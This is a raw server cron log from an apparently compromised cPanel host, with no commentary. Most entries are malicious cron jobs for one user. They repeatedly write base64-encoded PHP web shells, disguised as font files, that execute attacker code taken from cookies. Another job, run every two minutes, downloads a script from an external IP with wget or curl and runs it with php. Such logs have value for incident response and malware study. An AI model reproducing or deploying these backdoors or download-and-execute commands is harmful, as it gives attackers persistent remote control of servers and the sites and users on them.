Sep 11 20:03:01 ip-184-168-122-23 CROND[28517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:03:01 ip-184-168-122-23 CROND[28518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:03:01 ip-184-168-122-23 CROND[28519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:04:01 ip-184-168-122-23 CROND[28603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:04:01 ip-184-168-122-23 CROND[28609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:04:01 ip-184-168-122-23 CROND[28606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:04:01 ip-184-168-122-23 CROND[28607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:04:01 ip-184-168-122-23 CROND[28608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:05:01 ip-184-168-122-23 CROND[28789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:05:01 ip-184-168-122-23 CROND[28792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:05:01 ip-184-168-122-23 CROND[28791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:05:01 ip-184-168-122-23 CROND[28794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:05:01 ip-184-168-122-23 CROND[28793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:05:01 ip-184-168-122-23 CROND[28795]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 20:05:01 ip-184-168-122-23 CROND[28799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:06:01 ip-184-168-122-23 CROND[29009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:06:01 ip-184-168-122-23 CROND[29010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:06:01 ip-184-168-122-23 CROND[29013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:06:01 ip-184-168-122-23 CROND[29014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:06:01 ip-184-168-122-23 CROND[29015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:07:01 ip-184-168-122-23 CROND[29761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:07:01 ip-184-168-122-23 CROND[29760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:07:01 ip-184-168-122-23 CROND[29763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:07:01 ip-184-168-122-23 CROND[29762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:08:01 ip-184-168-122-23 CROND[29850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:08:01 ip-184-168-122-23 CROND[29852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:08:01 ip-184-168-122-23 CROND[29853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:08:01 ip-184-168-122-23 CROND[29855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:08:01 ip-184-168-122-23 CROND[29854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:09:01 ip-184-168-122-23 CROND[29941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:09:01 ip-184-168-122-23 CROND[29943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:09:01 ip-184-168-122-23 CROND[29944]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 20:09:01 ip-184-168-122-23 CROND[29942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:09:01 ip-184-168-122-23 CROND[29945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:10:01 ip-184-168-122-23 CROND[30115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:10:01 ip-184-168-122-23 CROND[30117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:10:01 ip-184-168-122-23 CROND[30120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:10:01 ip-184-168-122-23 CROND[30119]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:10:01 ip-184-168-122-23 CROND[30121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:10:01 ip-184-168-122-23 CROND[30122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:10:01 ip-184-168-122-23 CROND[30118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:10:01 ip-184-168-122-23 CROND[30123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:11:01 ip-184-168-122-23 CROND[30231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:11:01 ip-184-168-122-23 CROND[30233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:11:01 ip-184-168-122-23 CROND[30232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:11:01 ip-184-168-122-23 CROND[30234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:12:01 ip-184-168-122-23 CROND[30321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:12:01 ip-184-168-122-23 CROND[30323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:12:01 ip-184-168-122-23 CROND[30324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:12:01 ip-184-168-122-23 CROND[30326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:12:01 ip-184-168-122-23 CROND[30325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:13:01 ip-184-168-122-23 CROND[30405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:13:01 ip-184-168-122-23 CROND[30408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:13:01 ip-184-168-122-23 CROND[30409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:13:01 ip-184-168-122-23 CROND[30407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:14:01 ip-184-168-122-23 CROND[30502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:14:01 ip-184-168-122-23 CROND[30503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:14:01 ip-184-168-122-23 CROND[30504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:14:01 ip-184-168-122-23 CROND[30505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:14:01 ip-184-168-122-23 CROND[30506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:15:01 ip-184-168-122-23 CROND[30683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:15:01 ip-184-168-122-23 CROND[30687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:15:01 ip-184-168-122-23 CROND[30685]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
